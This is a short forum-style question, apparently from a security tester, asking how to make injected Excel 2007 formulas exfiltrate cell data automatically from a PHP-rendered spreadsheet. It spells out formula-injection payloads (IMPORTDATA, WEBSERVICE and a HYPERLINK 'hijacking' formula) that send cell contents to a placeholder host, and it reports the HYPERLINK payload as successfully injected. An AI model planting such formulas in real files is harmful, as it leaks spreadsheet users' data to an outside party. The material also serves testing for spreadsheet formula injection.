I need to extract data from inside an Excel fille using Excel 2007 functions.
The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (which I managed to inject in the file cells) in order to make the user automatically load an image, web path or make a DNS request.
Until now I have tried the followings but they failed because the Excel file is rendered in PHP with Excel 2007 functions:
=IMPORTDATA(CONCATENATE("https://example.com/", C2))
=WEBSERVICE(CONCATENATE("https://example.com/", C2))
I have successfully injected:
=HYPERLINK(CONCATENATE("https://example.com/",C2), "HYPERLINK HIJACKING")
But in this manner I have to trick a user to open the link by itself (not impossible, but no fun :D).